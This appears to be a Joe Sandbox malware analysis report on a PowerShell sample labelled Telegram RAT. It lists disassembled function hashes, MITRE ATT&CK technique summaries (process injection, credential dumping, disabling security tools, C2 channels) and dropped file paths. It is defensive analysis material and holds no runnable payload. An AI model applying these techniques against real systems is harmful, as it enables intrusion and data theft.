Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5fb54d473883f9a855a9fdddb8674d44d87a84980e2636b5ed4ae885226dc6
Instruction ID: d5a2453fc0d82f4837c9c3278525706ad3a75e41d2614ab6d905231d823b1bef
Opcode Fuzzy Hash: 6e5fb54d473883f9a855a9fdddb8674d44d87a84980e2636b5ed4ae885226dc6
Instruction Fuzzy Hash: 70E02D3AB500148F8B44DB68E484898B3B5EB8D62572281A6E9199B331D631AD11CF40

Function 01494A78 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd38bc4f00a0890fd6457efa2e5794490dec03e3390fc83033a568edf548e9d
Instruction ID: 9e8c821e82d25bd123e7554810f08abec4bcef04421d572dcd3a1206efc95080
Opcode Fuzzy Hash: bfd38bc4f00a0890fd6457efa2e5794490dec03e3390fc83033a568edf548e9d
Instruction Fuzzy Hash: CCD01730A01209EFCB00DFA8E9419ADBBB9FB48304F1041A9D80AD3304EB316E099B80

Function 01497DE0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa0dd610370728628780596dfab1bea1063813f42c1508a4584bd80ad36782d
Instruction ID: cba5d9868672bb2b4764926348d9e6f2f58c5a2b553f91c72423dab1dbf302fc
Opcode Fuzzy Hash: dfa0dd610370728628780596dfab1bea1063813f42c1508a4584bd80ad36782d
Instruction Fuzzy Hash: 7AD0127094010DEFCB00DFA8E90195DB7B9FB49308F1051ADD809D3204DA312E049B40

Function 01498C28 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0160205dc3b76c139b64fc7d6d7496d11fa7ba620894b110b1f0a806aee772
Instruction ID: 2bdd5364458d52351148837ddeafef2d86557865b67926c3d996eed7ad12620f
Opcode Fuzzy Hash: 5b0160205dc3b76c139b64fc7d6d7496d11fa7ba620894b110b1f0a806aee772
Instruction Fuzzy Hash: AFD01730A4020DEFCB00EFB8E9019ADBBFDEB49308F1091ADD909D3204EA316E049B80

Function 01498178 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7df05ee15a9743a71e366aed64a4db586fc610da7dae08955cd7fa3636ec8e
Instruction ID: f76d1b051d65253b31d700c33568e65823701b42dad626d058fc5d7080909ca4
Opcode Fuzzy Hash: 8f7df05ee15a9743a71e366aed64a4db586fc610da7dae08955cd7fa3636ec8e
Instruction Fuzzy Hash: 1CD0123275111957C744B669FC60A7E3B9DD7BA6A0F4001BAE5059B2A4DD692C0043C9

Function 01499BA1 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6f8e16a57720184159c98ea298b7ae6f2874397ea98603a1c3a4fa17a3bb59
Instruction ID: 739f0c87548e5b39455a3bc97c6732f7c69a10874bcf1692d7752e67854d9be3
Opcode Fuzzy Hash: 2f6f8e16a57720184159c98ea298b7ae6f2874397ea98603a1c3a4fa17a3bb59
Instruction Fuzzy Hash: ECE0EC7055011ADBEF219F55EA98BAE7E70BF40748F50041EE102A71A4DBB80400CB41

Function 01498A11 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d12da7aea5fdb1741176776b8090f0dc7c0e03ed353464685e7d74a55e30130b
Instruction ID: bd0ea918ab4520ac7364135584f5d241b4b5991e332c001ed73c2d98556994b1
Opcode Fuzzy Hash: d12da7aea5fdb1741176776b8090f0dc7c0e03ed353464685e7d74a55e30130b
Instruction Fuzzy Hash: 63D0A97120A240EFD7038B20B816B8A7F61AF86201F1AC18AE281CA2A6C22649068781

Function 01499D48 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75781ea08975405d933827eaebc02babf44d5911c7905536aaca02ebc55e8f00
Instruction ID: f8165e50cd8fafa76fef2594a2239d972bd8fae52cf742c997ae6ae26cb2a970
Opcode Fuzzy Hash: 75781ea08975405d933827eaebc02babf44d5911c7905536aaca02ebc55e8f00
Instruction Fuzzy Hash: 99C0803171011517CE0877B5D41047E77DDCB965643505069D44D9B341DD69FC0343C5

Function 01499F71 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdc3c40377423d77912c16cc6155a8befdb73468c01128c5207121395ecf135
Instruction ID: a6398b71a11dfd3e9bdbe4f878296b83718fdc30108686ac8abc4f3ae775d802
Opcode Fuzzy Hash: 8cdc3c40377423d77912c16cc6155a8befdb73468c01128c5207121395ecf135
Instruction Fuzzy Hash: 3ED0122914E1C10FDF270B7828345F57F358E0710A34E02CFDC85C7A62C8268611C652

Function 01496A88 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4deffc3c05c59df4d53d5e33fc2036df6ead5c29c2396d5fcf770b7f8295d791
Instruction ID: 14b4fd24a76de489f83a7ef351182c3e23d0faf8332d9a35234cf421a94d85f2
Opcode Fuzzy Hash: 4deffc3c05c59df4d53d5e33fc2036df6ead5c29c2396d5fcf770b7f8295d791
Instruction Fuzzy Hash: 4BD012B5149240CFC7124FB4EB6A1043F34FD1230634A22D7E5488A97BE3346E28C714

Function 014975E0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce65a7913f2860ac71f1d91033e4c9990142bcce297255b205cc696b2ae368b
Instruction ID: ffb34837648dc1074e888ecb1de291b0b95f55814c4aecb47a7a4f2e38378a5f
Opcode Fuzzy Hash: 4ce65a7913f2860ac71f1d91033e4c9990142bcce297255b205cc696b2ae368b
Instruction Fuzzy Hash: 35C012312401254FC6049B6CE545C4577ECEF4972430101A6F10DCB235DAA1EC0087D4

Function 01498B20 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c3cb8e49cb2a87734eaa91f12a09d8fc96a45153c299ee2df398274a31544e
Instruction ID: d0f7e39038c990b34539e734d9550c06b8941fd1dccb022121f7ab9801fea101
Opcode Fuzzy Hash: 40c3cb8e49cb2a87734eaa91f12a09d8fc96a45153c299ee2df398274a31544e
Instruction Fuzzy Hash: 95D012301441064FC704E76DE95A815FB99BF54324758C3AEB01D4B2EA9F71EC02C694

Function 0149B361 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b8bc3b6de3278a847fe7be965c112586c5ce4d54719e566b14fcf48f24fd36
Instruction ID: a80141ee2fa0b1efb97a74ae41268b78d5c8877e938efe9991f2a67623c28095
Opcode Fuzzy Hash: e7b8bc3b6de3278a847fe7be965c112586c5ce4d54719e566b14fcf48f24fd36
Instruction Fuzzy Hash: EDC0121001E3C2DFC7031B348A20000BFB07E1321078A00C7E480CB0B3EB184E1CE32A

Function 05CB236E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14093bb9a3b9b5103a8d79e958dc4884bc788f9d762b237b2b3e3814a6a37d37
Instruction ID: 9735df6c03b26543aeecc75934105d7468adbe7a4905fc17f5e05adefc9fb85c
Opcode Fuzzy Hash: 14093bb9a3b9b5103a8d79e958dc4884bc788f9d762b237b2b3e3814a6a37d37
Instruction Fuzzy Hash: 41C0023AA41009DFCB00DB99E484C98B3B1EF84229B1140A6E61697672C731AD65DB50

Function 01496A63 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e130b4f85127de72e99daed7d055710070a9e6512a741e951654f9d52f50e58
Instruction ID: 9c94e9b6d16c325f750e8f00cdc7da4aa1aa1d7e3c268d9336bccb65841a1ee9
Opcode Fuzzy Hash: 4e130b4f85127de72e99daed7d055710070a9e6512a741e951654f9d52f50e58
Instruction Fuzzy Hash: F9C080D050D3C04FCF02D77485601317FBAAF47300B0805CFD0444B113C1245D21D34A

Function 01499E70 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f5a5aa4cfb6928122ea513746a5d2c4efb2b07342e2d18b5fe02dd985834c5
Instruction ID: dc914b5961f52925804fba02db90a2cb48748a088eb22a50f2802a2b10d47585
Opcode Fuzzy Hash: 01f5a5aa4cfb6928122ea513746a5d2c4efb2b07342e2d18b5fe02dd985834c5
Instruction Fuzzy Hash: 56C08C0185FBC1CECB03433909600A0BFB02C3320070F00CA90C0AF1A3C2045856E3C6

Function 01496A98 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d664803aff0053de3177aaed583bd0bcf8f1952102fa8032b6b800528b8cf07
Instruction ID: 8cc689b6980632575cf3b1859b725099c05241756ebf14b66fc82a870a5f527a
Opcode Fuzzy Hash: 6d664803aff0053de3177aaed583bd0bcf8f1952102fa8032b6b800528b8cf07
Instruction Fuzzy Hash: 04B0127104020E8FC9007774F6076183F6CF54470BF801160B40C060195EB83C058BC4

Non-executed Functions

Function 0149F1B8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6382eef9791ec7c58c0d4102db0ba8a11cb57f039f0ba10d7b1dcb7c196f0c51
Instruction ID: 4dbaebebd7515e75868cdaa09c9e9f2237bd7ccb523b17b293481aa2ce0257ad
Opcode Fuzzy Hash: 6382eef9791ec7c58c0d4102db0ba8a11cb57f039f0ba10d7b1dcb7c196f0c51
Instruction Fuzzy Hash: 2912A2F0429746CAE310DF65E98A1AD7FB2F755318B604609E2E13B2D4DBB9218BCF44

Function 0149EF7D Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ddcf441379c8ef9823e601452dc86369d42a4f3d2e4eb7783cb96bed34c0bb
Instruction ID: e2f51a4a2b5e2b53421ad81300e34c084eb2ce91e5b8c3a74c1fb8ba9acffe9a
Opcode Fuzzy Hash: 39ddcf441379c8ef9823e601452dc86369d42a4f3d2e4eb7783cb96bed34c0bb
Instruction Fuzzy Hash: 4BC115B0828746CAD710CF65E98A1AD7FB2FB95314B244609E1A17B2D4DFB9348BCF44

Function 05AEA2C0 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1986704892.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5ae0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633f6f31271bb22b56023fb3874878cc08b0d0e999fd99e5d08ff2930fc87c82
Instruction ID: 9d3f993b706c42f9b685dadf60eef3de1cc6dcd445fe2b6d122de0504a61a161
Opcode Fuzzy Hash: 633f6f31271bb22b56023fb3874878cc08b0d0e999fd99e5d08ff2930fc87c82
Instruction Fuzzy Hash: D1E13B3181076A8ACB10EB64D994AADF7B5FF96300F11979AE1493B264EF706EC5CF40

Function 05AEA2D0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1986704892.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5ae0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e687f00462acac0036b4b11ce4a629a1b0d3eac9f1a704c61b80e4b5420bb9e7
Instruction ID: 4925124956ffafd92a3c102a8762153ba686434ed3afe2551eb6a8d23e6da294
Opcode Fuzzy Hash: e687f00462acac0036b4b11ce4a629a1b0d3eac9f1a704c61b80e4b5420bb9e7
Instruction Fuzzy Hash: 80D11B3182076A8ACB10EB64D994AADF7B5FF95300F11979AE1493B264EF706EC5CF40

Function 014934D0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ccb04ebc04dfb1d64397eca16f8b577720b01b2f40c6f5c0148e9ebf8a68a8
Instruction ID: c1416f84a7ecac99bdfe882a93cfba8c182bbd35889723cc8691e889fd0c2431
Opcode Fuzzy Hash: 04ccb04ebc04dfb1d64397eca16f8b577720b01b2f40c6f5c0148e9ebf8a68a8
Instruction Fuzzy Hash: D8914FB0E002099FDF24CFA9C9857AEBFF2BF49714F14852AD409A7364EB749845CB91

Function 0149F1A8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc921e8ffb3e32db9d5ca2fe2b6bd6c8a4c3388d45ad2cd79f7bbd5f9a267bcf
Instruction ID: 4a6cb4bc399b1e8429bf62d9f22aa07243e7c9d8d02a0945d4a319062db19130
Opcode Fuzzy Hash: dc921e8ffb3e32db9d5ca2fe2b6bd6c8a4c3388d45ad2cd79f7bbd5f9a267bcf
Instruction Fuzzy Hash: 09C1F5B0828746CAD710CF65E98A1AD7FB2FB95314B204619E1A17B2D4DFB9348BCF44

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gCK3ozTL7Q.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Activation.exe_26ab4a80649226ef72b617f0363ab7e580802da1_849d4886_3664d1b9-da5c-41e9-9ad6-c578eccf6c83\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC943.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB38.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB87.tmp.xml

C:\Users\user\AppData\Local\Activation.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hfuyrha.1ea.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amom3ors.pzp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nqpgzsww.3z2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_riotmoqt.eq0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spcuhtck.oqx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tdambi4q.rm0.ps1

